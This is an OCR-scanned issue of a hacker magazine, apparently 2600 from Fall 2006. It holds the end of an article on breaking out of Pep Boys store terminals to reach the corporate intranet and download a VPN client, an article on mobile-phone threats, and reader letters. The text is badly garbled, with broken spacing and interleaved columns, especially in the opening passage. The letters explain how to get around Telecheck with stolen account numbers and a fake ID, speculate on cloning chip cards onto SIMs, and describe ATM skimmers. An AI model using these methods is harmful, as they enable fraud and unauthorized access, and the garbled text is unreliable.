Getti n g  to the command  prompt. . . .  t h e  Day. 

retai 1 @ s t r 0 1 9 2 r g 1 l 2 : -> c d  / . mo z i l l a /  When  I got  close r to  q uitti n g  at Pep Boys, I 
" d e f au l t / oqngseuh . s l t / c hrome fou nd  out that both the  Pa rt Lookup a n d  Service 
retai l @ s t r 0 1 9 2 rg 1 l 2 : - / . mo z i l l a / d e f a u l t /  termi n a ls were goi n g  to be  rep laced with a n ew 
"oqnge seuh . s l  t /  c hrome> I s  web-based i nterface.  B y  the  ti me  o f  this p ri n ti n g ,  
chrome . f d r  u s e rChrome -examp l e . c s s  u s e r  it would be safe to ass ume  that o n ly a sma ll mi-
"Chrome . c s s  u s erContent - examp l e . c s s  no rity of  stores have had  thei r  softwa re up-

I loaded userC h rome . css i n  v i  and de leted a ll g raded ,  si n ce Pep Boys tends  to upgrade o n ly 
the  li nes that b locked everythi n g  out. Now I had  the i r  h i gh  traffi c flow stores fi rst, i n  tu r n ,  usi n g  
t h e  abi lity t o  load ,  edit, a n d  change  a ll t h e  p ref- them as beta testers fo r any new software. 
eren ces in Mozi lla . u nder Edit > Preferen ces > Ad- The s ho rt amount  of tim e  I had  with the  n ew 
va nced > Proxi es .  I i n putted the  IP add ress of the  h a rdwa re ta ught me  a lot about how Pep Boys 
IP  with po rt 80 a n d  81 open . On  port 81, it has  their n etwo rk set up. H owever, because I o n ly 
b rought  me  to the  SSC (Store Support Center) In- had  a s ho rt a mount  of ti me ,  I was unab le to fi n -
tra net fo r Pep  Boys. After poki n g  a round  there i s h  my task of gai n i ng  Internet access from the  
fo r a wh i le ,  I cli cked on  the  li n k  fo r MIS a n d  saw a termi n a ls .  S hortly after fi nd i ng  these bugs  i n  
li n k  n amed "VPN C li ents" a n d  a nother  li n k  n amed thei r  n etwork,  I graduated college a nd  m oved out 
"VPN C lient  Down loads . "  I down loaded the  VPN of state, p rompti n g  me  to q uit there a nd  p roceed 
client fo r Li n ux and i n sta lled it in the  retai l h ome  with wo r k  i n  my fie ld .  
di recto ry. Another  feature that t h e  M I S  p a g e  had  Thanks to dhb who, Dua iDFlipFlop, L UG, and 
was a guide  fo r a ll new MIS  emp loyees. Detai led everyone a t  J!NX. 

�----�.----------------��--------.----

Mobi le  Devices 

by Toby Zimmerer 
This a rti c le wi ll focus on a system that many 

people uti lize every day. Yet they a re ob livious  to 
the power of the  th reat that they a re exposed to. 
That system is  you r  m obi le phone .  The advent of 
sma rt p hones a n d  PDAs has spawned a new secu­
rity ho le that the majority of people com p letely 
i gno re .  Most m obi le p hones ca n access the Inter­
net a n d  h ave Bluetooth com m u nicati o n  systems  
fo r li n ki n g  other  devices without the  u se  of  ca­
b les .  Additi ona lly, sma rt p hones a re uti li zi n g  
Li nux  a n d  Wi ndows operati n g  systems  a n d  have 
the  p rocessi n g  capabi lities of a sma l l  com puter. 
Si nce these devi ces do  n ot have a bu i lt in fi rewa ll 
and p rovide  m u lti ple open com m un ication  chan­
ne ls ,  it becomes perfectly clea r that  mobi le 
p hones pose a p ri m e  ta rget fo r attacks .  

Mobile Devices and Operating Systems 
Sma rt p hones a re currently usi n g  two operat­

i n g  systems  (Sym bia n  a n d  Wi ndows Mobi le 5 )  
t h a t  a re customized to  e a ch  cellu la r p rovi der 's 
m obi le device .  Sym bia n  (http ://www. sym bia n  
.. .  com/) i s  a li g htwei g ht Li n ux operati n g  system 
that i s  b und led with a n u m ber  of app li cati on s  
t hat  can  a llow a u se r  to  wo rk  on the  road without 
the  use of a laptop .  Microsoft has taken thei r  
li g htwei g ht Wi ndows a s  that was o rig ina lly de­
veloped fo r the  i Paq and i nto the  cellu la r 
p rovide r  ma rket by developi n g  Wi n dows Mobi le 5 
( http ://www.microsoft. com/wi ndowsmobi le ) .  
Microsoft offers a comp lement of app li cations  to 
a llow a user to work remotely without the  use of a 
laptop .  
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For those of you n ot fam i li a r  with sma rt 
p hones ,  I wou ld suggest loo ki n g  at the  websites 
fo r sym bia n  a nd  Microsoft Mobi le in order to see 
the m obi le devices that a re cu rrently supported . 
As I mentioned ea rli e r, sma rt p hones have the  
p rocessi n g  capabi liti es of a sma ll computer. 
These p hones a re no rma lly equipped with 64M B 
to 128M B of memory a n d  can be expanded up to 
2GB  of additi ona l  memory by addi n g  a min i  S O  
mem o ry ca rd t o  the  p h o n e .  S o m e  sma rt p hones 
have i ntegrated keyboards a n d  touch screens 
that a llow you to qu ick ly navi gate th rough  menus  
a n d  enter i nfo rmati o n .  I own  a Nokia  9300 that 
fli ps  open to give the  user access to a 1 "  x 4" h i gh  
reso luti o n  LCD ,  a 66  button keyboard ,  a n d  a 
th u m b  m ouse.  

Open Communication Channels 
Mobi le service p rovide rs have expanded thei r  

services t o  p rovide  users with g reater a ccess i n  
i n fo rmation  th rough  thei r  mobi le p hones .  Peop le 
i n  Eu rope a nd  Japan  have been usi n g  thei r  mo­
bi le p hones fo r web access, m essagi n g ,  a n d  pu r­
chasi n g  goods di rectly from thei r  m obi le p hones 
lon g  before the  U . S .  ma rket sta rted to offer 
these services .  Mobi le p hones can retri eve a n  I P  
add ress from thei r  mobi le servi ce p rovider, which 
p rovides fu ll access to the  Internet to tra nsmit 
http , sMTP, ssH,  telnet, and other TCPjU D P  
fun ctions .  

Most devices a re now equipped with B lue­
tooth to a llow the  user to con nect to their la p­
tops, wi reless h eadsets , or other  m obi le devices .  
B luetooth has  a tra nsmit radi us of approxi mately 
30 feet a n d  can be confi g u red to a llow other  de­
vices to fi nd  o r  "di scover" the  host device .  Open 
B luetooth c hanne ls broadcast a lot of i nfo rma­
ti o n ,  i n cludi n g  the  MAC add ress, device n ame ,  
a n d  device m odel .  I s aw  a demonstration  at t he  
Interop s how i n  L a s  Vegas t h i s  yea r where t he  
vendo r  was  listi n g  a ll of the  B luetooth connec­
tions  that were cu rrently open near  thei r  booth . 
O n  average,  there were 60 open Bluetooth con­
n ections  near  the  vendor 's  booth and they were 
ab le to retrieve the devi ce n ame  a n d  mode l  de­
vi ce. As a test, I switch ed on  the Bluetooth con­
n ecti on  on  my phone ,  disab led the  discover 
feature, a n d  my device was detected .  

If you a re i nte rested i n  perfo rm ing  some 
Bluetooth vulnerabi lity sca n ni n g ,  I would recom­
mend  checki n g  out BTscanne r  by  PenTest 
( http ://www.pentest. co . u kl) , which runs  on a 
desktop system ,  or B looover ( http ://trifi nite. 
"orgjtrifi nite_stufCblooover. htm l) , which runs  
on  you r  h a n d held device. 

Current and Future Mobile Threats 
Mobi le devi ce vi ruses began to s how up i n  

2004 with t h e  release o f  t h e  Cabi r  vi rus .  Si nce 
then,  the  n u m ber  of vi ruses has  g rown exponen-

tia lly, which has  resu lted i n  both  fi n a n ci a l  and  
h a rdwa re loss. The Sku lls a nd  Onehop  vi ruses a re 
desi g n ed to com p letely disab le the  mobi le hand­
set, whereas the  CommWar ri o r  vi rus wi ll sta rt to 
tra nsmit sMs  m essages to everyon e  in you r  ad­
d ress book ,  resu lti n g  i n  additi o n a l  costs on  you r  
p hone  bi ll . 

These vi ruses cu rrently p ropagate t h rough  
two medi ums :  sMs a n d  Bluetooth . The CommWa r­
ri o r  vi rus s hows up as a n  sMs m essage with a n  
SIS attachment. I f  t h e  user activates t h e  attach­
ment, the  m obi le phone wi ll become  i n fected .  
B luetooth vi ruses,  such as Cabi r, broadcast a 
message with a n  attach ment to a ll B luetooth de­
vices in ra nge .  Once agai n ,  if the  user activates 
the attachment, the  p hone  wi ll be i n fected .  

As I had  menti oned ea rli e r, mobi le devices a re 
now retri evi n g  IP add resses a n d  run  compact op­
erati n g  systems  to p rovide  the user with a ll the  
featu res a n d  fu nctions  of a desktop system on  
thei r  mobi le devi ces. These systems  do  contai n 
softwa re flaws a n d  ho les that wi ll eventua lly get 
exp loited th rough  the open Inte rnet c hanne l  on 
the devices, leavi n g  the users vu lnerable to at­
tacks.  As of Ma rch ,  the fi rst Java2 ME vi ruses 
sta rted to a ppear. Sooner  o r  later, vi ruses wi l l  
sta rt to p ropagate to mobi le devi ces over the  In­
ternet. 

Defending Against Mobile Threats 
Cu rrently some software com panies a re offe r­

i n g  anti -vi rus a n d  fi rewa lls fo r mobi le devi ces . I 
would recommend  doi ng  some resea rch o n  the 
different vendo rs to see which compa nies sup­
port the  b roadest ra nge  of mobi le devices a n d  
operati n g  systems .  I know one  company has  been 
desi gn i ng  m obi le AVjfi rewa ll so luti on s  fo r a 
n u m ber  of years a n d  has  a p retty la rge distribu­
tion  th roughout the  world with a n u m ber  of mo­
bi le servi ce p rovi ders .  I wi ll let you m a ke you r  
own  decisi on  o n  wh i c h  route to  go .  Additi ona lly, 
I wou ld scan you r  open Bluetooth con necti on s  to 
see how many open connections  you h ave. Fi­
na lly, a n d  m ost i mportantly, educate you rself 
a n d  those a round  you .  Most of the  cu rrent mobi le 
vi ruses can be thwa rted by de leti n g  the  attach­
ment o r  n ot openi n g  it at a ll . 

Mobi le devi ces a re the n ext vu lnerab le re­
source on the  ma rket today a n d  wi ll eventua lly be 
ta rgeted by vi ruses that sp read across m U lti p le 
com m un ication  c h a nnels. As the  com plexity, fea­
tures, and p rocessi n g  power of the  mobi le de­
vi ces i n crease,  they wi ll p rovide  a p ri m e  avenue  
fo r ma lwa re to  exp loit. By  p rotecti n g  you r  m obi le 
devices with anti -vi rus a nd  fi rewa lls , as well as  
disab li n g  u n necessary services such as  B lue­
tooth ,  you ca n p rotect your  n etwork  and you rself 
from current a n d  future th reats . 
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Written Ex 
O n  Privacy 
Dear 2600: 

In regards to "The Price of Convenience: Ou r  Identi­
ties" by Squeali ng  Sheep i n  2 3 : 1 ,  he  fo rgot about a 
check verifi cation  service/company ca lled Telecheck 
(www.telecheck.com ) .  Te lecheck, which i s  used by most 
retai lers to verify checks, does an extensive yet quick 
verification  p rocess that requi res both a valid bank  
routi n g  n umber and account n u mber. Te lecheck goes 
one step fu rther  by then verifyi ng  whether that pa rti c­
u la r  account has  suffi cient funds  to cover the amount 
listed on the check.  

But there is  sti ll a way that i dentity thieves could 
corrupt this p rocess to thei r  advantage.  All an identity 
thief needs to do is  have a valid routi n g  n umber and ac­
count n u m ber with sufficient fu nds  because Te lecheck 
does not requi re verification  of the name and  add ress 
attached to a ny pa rti cu la r  set of routi n g  a nd  account 
n um bers (collectively known as the MICR n umber  lo­
cated on the bottom of checks) . The verifi cation  of 
name and add ress is  done by the retai ler (who norma lly 
asks to see a photo ID)  a nd  is not p rocessed through 
the same system as Te lecheck. So if a n  identity thief 
fi nds  a legiti mate routi ng  number  and  account number  
a nd  creates a fa ke ID ( i t  doesn 't matter if it's the 
victi m ' s  o r  not) , he  ca n sti l l  work a round  Telecheck. 

Rogaine Rebel 

Dear 2600: 
Last n ight my Internet p rovider  Cox (I don 't have a 

choi ce he re in Orange County, Ca liforn ia )  sudden ly de­
ci ded to b lock my Internet access. You p robab ly know 
what's coming .  Yes,  I down loaded Mission Impossible 
III "by accident . "  The movie sucked . The next morni ng  
the fri end ly and  unknowledgeab le customer  service rep 
to ld me my account was suspended .  They said I was 
down loadi ng  movies. I p layed d umb  to fi nd  out what 
they rea lly knew because I was sti l l  thi n ki n g  they were 
j ust monito ri n g  traffic volume .  To my surprise they 
knew I was down loadi ng  the latest hot movie by name .  
Of cou rse, I was unawa re of my ports 6881-6999 bei n g  
used i llega lly. So I had t o  ask if they were watchi ng  
every packet flyi ng  by after havi n g  been a lerted by 
thei r  a dmi n/system and  the a n swer was "Oh ,  no ,  we 
don 't watch your traffic - that's p rivacy ! "  

So either  they were lyi ng  o r  someone  i n  the upper  
food cha in  has  q uite a n ice backdoor i nto the ISP ' s  sys­
tem .  That would be the sca riest possibi lity, but I as­
sume that's the case here. Anyway, thei r  p rocedu re is  
they catch you ,  send you a wa rni ng  emai l  that your ser­
vice has been suspended and wait for you to ca ll. then 
they u nb lock your  service agai n .  The th i rd ti me they not 
o n ly catch you but they termi nate servi ce. It wou ld be a 
pai n to ever get back on beca use you would have to 

p rove that you owned the copyrights to the movie/mu­
sic/software you downloaded - most li kely impossib le .  

Th i s  shou ld not keep anybody from sha ri ng  beca use 
sha ri n g  i s  necessary and good, but one  has to be con­
scious  about their Internet traffi c .  

lupO 
We'll skip the debate over what's right and wrong to 

share and do wnload since tha t's not really the issue 
here. This is a far more troubling indication of the type 
of traffic monitoring tha t  may be going on. You could 
have learned a great deal by asking these people ex­
actly how they knew the title of the film you down­
loaded if it wasn 't a "privacy invasion " on their part. The 
desire to learn how their surveillance works would actu­
ally be an interesting a rgument for downloa ding things 
in the first place. In all seriousness, there is likely more 
going on in this a rena than a simple cat and mouse 
game. Just as security scares a re planted in the real 
world to ensure public support of increased surveillance 
(yes, we believe it), the "piracy problem " could easily 
be compounded by those who want to make such moni­
toring a permanent feature. We need to know exactly 
what they're doing. 

Dear 2600: 
After months of waiti n g  for my mother's  tax returns 

to be released from the bu reaucra cies of the IRS,  my 
mother fi n a lly got what she was waiti n g  for, and a little 
mo re .  Upon openi ng  the offi ci a l  looki n g  envelope obvi­
ous ly belong ing  to her, she  found  underneath he r  
check  a second  check  belong ing  a nd  addressed to a n  
u n known person i n  ou r  town ,  comp lete with h i s  n a m e  
and  Soci a l  Secu rity N umber. I t  seems q uite id iotic fo r 
officia l  checks to have SSNs labeled so boldly on them 
beca use it seems fa r too easy for it to fa ll i nto the 
wrong  hands .  

Robert Barat 

Dear 2600: 
This letter does not concern tech no logy but rather 

p rivacy, American society, and b roken stuff. Roe vs. 
Wade gives women fu ll ownersh ip  of thei r  bodies, as a ll 
s hou ld be g ra nted , though many (with some decent a r­
guments)  be li eve a fetus to be an entity unto itself, 
which makes an abortion  a flat-out m u rder. How can 
contro lled substance a nd  assisted suicide legis lati on  
not  be resci nded under  t ha t  la ndma rk blan ket? You 
people have sense. Te ll me if I 'm i magini n g  thi ngs ,  
p lease? 

eudemonist 
You 're imagining things if you th ink we're going to 

open tha t  kettle of worms in here. 

Dear 2600: 
In "The Price of Convenience" in 2 3 : 1  it is noted 

how sex offender  registries expose persona l  data . In 
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some states it is even worse than you i n dicate. New 
Mexico feels it necessary to give the world a registrant's 
bi rth date, Soci a l  Secu rity N umber, and a nice digita l 
picture. To have tota l control of their identity, one  need 
o n ly engage i n  some web resea rch o r  i d le chat with an 
offender to fi nd  out thei r  mother 's maiden name .  I 
have considered writi ng  a n  a rti cle about how to exp loit 
loopho les in the registry, which differ dependi ng  on 
which state you reside  i n ,  but then they wou ld li kely be 
closed . In the future I am sure AN PR, as mentioned i n  
"The State o f  Su rvei lla nce, "  wi ll no  doubt make these 
loopho les ha rder  to exp loit. But by then, maybe the li st 
of designated mora l  deviants wi ll have expanded to i n ­
c l ude  libera ls ,  ath eists, etc . ,  and  the majority of  citi­
zens wi ll be equa lly exposed . In the meantime  it would 
be nice to see these sites regu la rly attacked . 

Highdesert 
We don 't condone attacking sites but certa in ly some 

of the thinking behind this needs to be held up to some 
real scrutiny. 

Dear 2600: 
I recently had  an awkwa rd experience with my bank  

a nd  I thought you  m ight  be i nterested .  I was  issued a 
new ATM/debit card because i nformation  of mine may 
have been compromised by a third pa rty. It looked li ke 
standa rd procedu re .  They a utomatical ly issued a new 
card.  On the surface that looked p retty nifty. 

However, bei ng  the somewhat tech savvy person I 
a m ,  I looked a bit closer. "Maybe this is j ust a very de­
tai led scam , "  I thought  to myself. Looki ng  over the let­
ter, I noticed that it was written on May 1 5th . I was 
read ing this letter on  J u ne  3rd. Di n g !  There goes a red 
flag .  I noti ced that the letter was a lso metered on  May 
29th, so appa rently this thi ng  had been around for a 
good two weeks  befo re it was mai led out. 

I headed to the nea rest branch to sort this out. Af­
ter talki n g  to several  people,  they pu lled my i nfo rma­
tion  a nd  found  out that I had  i ndeed been issued a new 
card.  I mentioned my suspicions  and  they looked at me 
li ke I had n ine heads .  Essenti a lly the ca rd i s  p ri nted and 
such when the fraud is suspected,  but it i sn 't mai led out 
unti l the end of the month ,  j ust li ke my month ly a c­
count statements. You r  mi leage may va ry, but that's 
how it was exp lai ned to me. What it boi ls down to is 
that a new card wi ll s it a round  for a whi le before it's 
ma i led to you .  

To tie up  any loose ends ,  I ca lled up  the ban k's na­
tio n a l  n umber a n d  tried to figu re out what  i nfo rmation  
may have been  compromised a nd  I was  given the run 
around .  I got the same a n swer: A third pa rty had  their  
i nfo compromised a nd  we thi n k  that you r  i nformation 
may have been i n  there when it happened .  I cou ld not 
get a ny clues as  to what i nformation of mine they thi n k  
may have been compromised,  no r  could I get a clue a s  
t o  who may have been compromised.  A l l  o f  this would 
have been handy in p reventi ng  identity theft a n d  the 
li ke because I cou ld potentia lly be one  step a h ead  of 
the perps. 

However, a ll was for naught as  I was given no  infor­
mation  at a ll. I wound u p  fi li n g  a credit report with the 
major  i n stitutions  and found  that I had no  credit, which 
i n  this case means I don 't have a credit card and that no 
one has  fi led one i n  my name .  

My main point i n  a l l  o f  th i s  was  j ust to spread the 
i nformati on .  Keep a loo kout on  your  fi nanci a l  stuff. I 

F a l l  Z O O I.  

got lucky this ti me .  At least I've been lucky so fa r. Next 
time  it might not happen that way. 

Sim 

Dear 2600: 
In response to Acidevi l's letter in 2 3 : 2 ,  I thought 

that I 'd j ust s ummarize the cu rrent credit ca rd situation 
i n  the U . K .  

A s  o f  Feb ruary 1 4 ,  2006, "ch ip a nd  PIN "  ( C A P  from 
here on )  went live, so to speak .  That i s ,  the sig nature 
system is no  longer  used at a ll and o n ly CAP-based 
units a re a llowed for tra nsactions .  The idea of these 
cards is ,  as  has been poi nted out, to do away with the 
magstri pe/signature system and b ri n g  in chi p-based 
cards that use your current PIN n umber - hence, "chip 
a nd  PIN . "  

In sofa r as  fraud  goes,  thi ngs  i n  rea lity a re no  bet­
ter. There a re sti ll i n cidents of ski m mers on ATMs (the 
ones that have cameras  and card readers) and the 
magstri pes a re still used! When questioned about this 
i n  interviews, the credit card compa nies cla im that it is 
for "overa ll convenience of the customer . "  That 's right 
it ' s  just so that Fred B loggs ca n go to Turkey where CAP 
i sn 't fu lly i ntegrated a nd  use their same cards there .  

The o ld system used  to be to  clone  the credit card 's 
magstri pe and then put it onto a nother card's 
magstri pe .  The favo rite ones to use used to be mobile 
phone  " E-Topup"  cards that a re basica lly the same (us­
i n g  one  of these to withdraw money from a n  ATM was 
a ctua lly done  on B riti sh  TV as a p roof of concept) . How­
ever, as fa r as  I ca n see, there is a flaw with CAP. The 
credit ca rd compa nies clai m that " no  one ca n clone  the 
chi p . "  I would dispute that. Chip readers a re out there -
they 're now in every shop fo r goodness sake!  Wou ldn 't  
be a difficu lt hack to get one  to dump  the i nfo rmation 
i nto a PC and ,  if it ca n read the cards ,  then it can prob­
ab ly write to them too. Thi ng  is , E-Topup cards don 't 
have chips .  What cards do and a re free ly/cheaply avail­
a b le? I have a potenti a l  a n swer: SIM cards.  Vi rgi n Mo­
bile, 02 ,  T-Mobi le ,  Orange,  etc .  a ll have "free SIM" 
p romotions .  The SIMs that you can get a re mounted on 
cards  that have the same d imens ions  a nd  chip position 
and  type (as  fa r as  I can tell) is the  same .  To that end ,  I 
can see a potenti a l  ho le in this " unb reakable" security. 

I have never com mitted ca rd fra ud a nd  do not i n ­
tend  to .  I simp ly wish  to point out that  the new system 
has si mi la r  flaws to the o ld one - j ust mo re h igh  tech 
flaws ! Also note, the SIM card idea has ,  to my knowl­
edge, never been done .  For a ll I know the chips within 
could be comp letely wrong ,  but it i s  not i n conceivab le .  
T h en  agai n ,  c h i p  cards a re more common  as  they a re 
not as magneti ca lly sensitive as thei r  magstripe coun­
terpa rts . Also consider a ll of the cards that a re not 
properly destroyed when fi nished from use. If  the chip 
is not damaged, then it could potentia lly be reused.  As 
fa r as  I ca n see, it i s  o n ly a matter of ti me before the 
crim ina ls catch up .  Beware. 

Marxc2001 

Dear 2600: 
Further to Acidevi l's letter in 2 3 : 2 ,  I wanted to add 

my tuppence worth .  
Aci devi l is correct when  he  mentions  the success of 

ch ip and  PIN cards in Europe. These requi re the cus­
tomer to enter a PIN n umber  at the point  of sale, 
thereby red uci ng  the possibi lity of a waiter/clerk ta ki ng  
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a copy of the card a nd  usi ng  it to make pu rchases .  
However, a nother scam has  a risen to overcome  this 

new secu rity measure .  Hig h ly o rga nized gangs  (mostly 
from eastern Eu rope) have created false fascias  for ATM 
machines which can be affixed to legiti mate ATMs - the 
wi ndow, ca rd s lot. a nd  money dispenser  sitti ng  di rectly 
over the sa me featu res on the rea l ATM .  When the cus­
tomer inserts his card, the machine seems to function 
as no rma l, but the fa lse fascia has  a card reader  bu i lt 
i n ,  p lus it reco rds the PIN nu mber used.  With this data, 
the crim ina ls ca n produce a perfect clone  of his card 
and know the PIN a lso .  This means that they can j ust 
withdraw cash from a ny ATM ,  whereas p revious ly they 
could o n ly make pu rchases. 

It i s  one thi ng  to tell your card company that you 
d idn 't a ctual ly pu rchase a TV i n  Tu rkey, but q uite an ­
other to  convince them that  you  d idn 't withdraw 50 
q uid  from a n  ATM i n  your home town . 

This fu rthers my persona l  belief that credit cards 
a re bad news from every ang le .  

Capt Bla h  

Dear 2600: 
I know many of my fellow 2600 readers won't be­

lieve my clai ms but I want to make su re this is at least 
heard. I am a fo rmer NSA employee. I worked for the 
Agency unti l the end of 2003 . I was in a position  where 
I saw every item that was to be co llected a nd  a n a lyzed . 
I don 't wish to go i nto deta i ls about how or what I saw 
as this would on ly help identify me and I don 't need 
that. A t  no time du ri n g  my ten u re at the Agency did I 
see a ny tasks to collect com m unications  (phone ,  emai l, 
Internet. and  others) on American citizens .  There a re 
guideli n es in p lace that a re stri ctly enforced and  pro­
hi bit collection  of American co mmu nications .  Even if 
John  Q.  Pub li c  got a call from Osama bin Laden about 
an attack, that com m unication  goes i nto the trash be­
cause of said g uideli nes. 

I am  heari n g  a lot about some program "W" sta rted 
after 9/11 .  This i s  hogwash .  I don 't  li ke Bush  as  much 
as  the next guy so I am  fa r from an  apo logist. What 
makes me come out and  give this statement is twofo ld . 
Fi rst. after September 11th and  on to p resent-day, the 
IC (Intelligence Com m unity - NSA, CIA, FBI, DIA, NIMA, 
N RO ,  etc . )  have been getti ng  the bu lk of the blame for 
what happened .  This is completely unfai r a nd  untrue.  I 
have had  the opportunity to work with some of the 
most imp ressive minds i n  the country and  everyone's 
ti reless effo rts shou ld not be overloo ked o r  disre­
spected due  to false i nfo rmati o n .  Second ly, DIRNSA 
(Gen. Michael Hayden )  is up  fo r the D/CI positi o n .  I 
have met h im persona lly. He is a good man  with the 
safety a nd  secu rity of the United States a nd  its  citizens 
his top pri o rity. If, and o n ly if, there rea lly is a program 
that co mpromises American security, I a m  99 percent 
su re his h and  was fo rced . This may sound li ke a bunch  
of propaganda  and  I can understa nd why some people 
may thi n k  so .  All I ca n tell you is that it is not. The IC 
deserves to be commended ,  not disreputed .  Ever seen 
the movie The Recruit with Al Paci no  and Colin  Fa r rell? 
In a meeti n g ,  Al Paci n o 's cha racter says someth ing  to 
the tune of "All of ou r  successes a re un known and  u n re­
warded .  Ou r  fai lu res a re pub lic reco rd . "  J ust remember  
that  these people ,  who many see as evi l, the "man , "  the 
hammer  of governm ent. whatever, a re the same people 
with a hacker mentality who brea k codes a nd  com m uni-

cations  of people i ntent on  doi ng  ha rm to our  country 
and who have saved countless American lives whether 
you know it o r  not. They a re Americans too and  as  such 
wi sh to have thei r  own privacy. Savi ng  Ameri ca agai nst 
an atta ck whi le compromisi n g  American freedoms is 
cou nterproductive. It 's  nonsensica l and p lain stupi d .  So 
I ask  a l l  2600 readers to keep a n  open mind and lea rn 
a ll you can befo re comi ng  to conclusions  that the media 
tr ies to force feed you .  And don 't di scredit those who 
speak out i n  opposition li ke myself beca use the IC can­
not do it fo r themselves. 

P. S .  Now that I got that out. who's hacked the H a lo 
2 sku lls problem? Than ks .  

Anonymous 
You can bLame the media for this if you Like but it is 

an indisputabLe fact that Bush has ordered the NSA to 
spy on Americans without warrants. We doubt that Bush 
wouLd be defending this action if it wasn 't true. Nor 
wouLd a federaL judge have ordered a haLt to the pro­
gram to be foLlo wed by an immediate appeaL from the 
Bush a dministration. These things are unpLeasant and 
maybe even unbelievabLe. That doesn 't make them any 
Less reaL when they happen. 

Your assertion about the NSA staying a way from do­
mestic surveiLlance is how most peopLe understood 
things. It was aLso pretty close to the way things 
worked un tiL fairLy recentLy. There were exceptions and 
for those there was something known as the Foreign In­
teLLigence SurveiLlance A ct Court, which basicaLly aL­
Lo wed the NSA to get warrants so they couLd spy 
domesticaLLy. This was a secret court which is bad 
enough. But it apparentLy was not good enough for the 
current administration, which feLt it necessary to by­
pass even this appea rance of due process. Now it's aLL 
done under a secret program without any warrants or 
oversight whatsoever. And those who have the guts to 
reveaL the existence of such a thing (specificaLly various 
media outLets) a re condemned by the government as 
traitors. And a good percentage of the pubLic buys it. 

None of this takes a way from the good things the 
NSA has done over time. But aLL of that wiLL be forgotten 
when they a re associated with something Like this. 

As for Ha Lo 2, bewa re of the blind skuLL. In fact, be­
ware of it in reaL Life too. 

Dear 2600: 
I 'm a fai rly new subscri ber to your g lorious maga­

zi ne  a nd  I've loved every issue .  One  th ing I 've noti ced 
though is that every ti me I receive a new magazi ne  in 
the ma i l  it looks li ke someone has opened/to rn the en­
velope and  then taped it back up .  Seems a little suspi­
ci ous  to me .  I mean ,  it has  happened to every si n g le 
i ssue !  Am I on a watch li st now? If so,  cool - I 'm fi na lly 
on a watch li st. Or is it beca use the chi ld ren in your 
basement a re too shaky a nd  ma lnouri shed to correctly 
stuff envelopes without m uti lati n g  them? If so, give 
'em a frea ki ng  Happy Meal  so I don 't have to fee l  so 
parano id .  

C 
The chiLdren wouLd have no reason to reopen the 

enveLopes after sealing them. And the pena Lties for this 
have been made extremeLy clea r to them. What we sus­
pect is happening in your case is tha t  someone in your 
post office is overLy curious and can 't contain them­
seLves. As there is no specific information about you in­
side the enveLope, the various peopLe keeping you on a 
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watch list would have no reason to open it. With re­
ga rds to them, we suggest you turn your attention to 
the van across the street. 

Foreign Payphones 
Dear 2600: 

I wou ld li ke to send you my photos of payphones .  
They a re digita l cam era photos. The rar fi le is a round  
ten  megs with picture fi les at 1600x1200 resoluti on .  I s  
it better to  send you the fu ll fi les on  CD  to  the add ress 
li sted o r  would these smal l  pictu res suffi ce? In case the 
1600x1200 pi ctu res a re good enough,  wi ll you r  emai l  
a ccept a ten meg fi le? 

D P  
Our email server can accept large files so don 't 

worry about sending them. Tha t  is currently the best 
way to send them to us as it's a whole lot easier for us 
to keep track of. The same thing goes for back cover 
submissions. But we have to be very clea r on the impor­
tance of sending these files at the maximum possible 
quality settings. Fa r too often we've gotten great pic­
tures that would look like utter crap if we tried to print 
them. 

Dear 2600: 
We would li ke to p u rchase payphone booth li ke the 

one  i n  Saint Petersburg,  Russi a .  So cou ld you p lease 
send mo re information  and p ri ce of that booth . 

Ahmed M Attef 
Manager Payphones 

Special  Busi ness Unit - HQ 
Somewhere in  Qatar 

We don 't know wha t  you 're up to but we fea r  you 
misunderstand wha t we're all about. We don 't sell pay­
phone booths or even payphones or for tha t  ma tter 
phones of any kind. You 've given us some ideas though. 
Best of luck in your pursuit. 

Interesting Facts 
Dear 2600: 

Rega rdi ng  the sto ry that made i nternationa l  news 
a nd  read as  fo llows : "A case of 'e lectronic va nda li sm '  
mocki ng  the Prime  Minister has left a media company 
red-faced after a hacker tampered with advertisi ng  
signs  on  To ronto com m uter trai ns to  read 'Stephen 
Ha rper Eats Babies . ' "  

The " ingenious" hacker derived some inspi ration  
from the cover of an  o ld issue of 2600. 

P lease conti nue  to be my m use.  
Name Removed 

Toronto 
Well, gosh. Is this a confession? We a re quite fla t­

tered if indeed our Fall 1 997 cover inspired this action 
which caused confusion to so many. In the words of one 
flustered commuter: "You go home and you a re trying 
to rest from work and all of a sudden where they usually 
talk about Ticketmaster, all of a sudden you see this 
thing say 'Stephen Harper Eats Babies. ' I wasn 't even 
sure when I got off the tra in.  Was I hallucinating?" And 
of course, the funniest statement of a ll: "To prevent it  
from happening aga in, GO Transit will have to power 
do wn all the signs on their cars and use special soft­
ware that is being couriered from the United States to 
password protect 790 such digital signs. " Transla tion: 

F a l l  Z O O l:.  

these fools had no protection at all from this sort a 
thing and a re trying to make it seem like ha ving a pass­
word is a real pa in in the ass when it should have been 
what they were doing all a long. They a re indeed lucky 
to have gotten their wake up call with a degree of hu­
mor. But we a re going to err on the side of caution and 
not print your name since we live in a time where a 
harmless joke like this can be blown way out of propor­
tion and we don 't want to help in that endea vor. And 
for any authorities actua lly pursuing this, we have 
printed out a copy of this email and burned it just to be 
safe. So don 't waste your time. 

Dear 2600: 
I ju st wanted to report that www. p h reak .se 

("the world 's largest on li ne  p h reaki ng  and telecom 
knowledge a rchive") i s  back on li ne .  Check it out!  

Zeromatic - PTK Li braries 

Dear 2600: 
Buying  my usua l  stuff at the Centra l Squa re Sta r 

Ma rket (which is exactly li ke a Shaw's ,  down to the sig­
nage) ,  I found  it choking on some ha lf p rice cookies 1 
was buyi n g .  Sufficiently a nnoyed, I fi na lly got the at­
tention of a d rone  a nd  got him to he lp me .  He signed 
i nto st.ore mode  a nd  made no attempt to conceal the lo­
gin from me. The problem? Beca use the SKU fo r red uced 
ba kery doesn 't ti e to a specific p ri ce but i n stead re­
quests one to be entered , the self-checkout freezes. So ,  
qu ick eyes a n d  a love of ba ked goods can get you a 
Shaw's self-checkout logi n .  Sad ,  I know . . . .  

Neito 

Dear 2600: 
I ca me  across this a couple of weeks ago  and  I 

thought it s hou ld be sha red with a l l  hackers (especia lly 
U . K .  Ones ) .  In the U . K .  the ADSL Internet con nection  
requires a BT li ne  (o r  phone  li ne con nected to a BT ex­
change) to operate . This costs about 10 pounds  a 
month in a ddition  to the ADSL cha rges .  I thi n k  this i s  
u nfai r  to people who do  not requ i re the phone  li ne  fo r 
any other reason .  

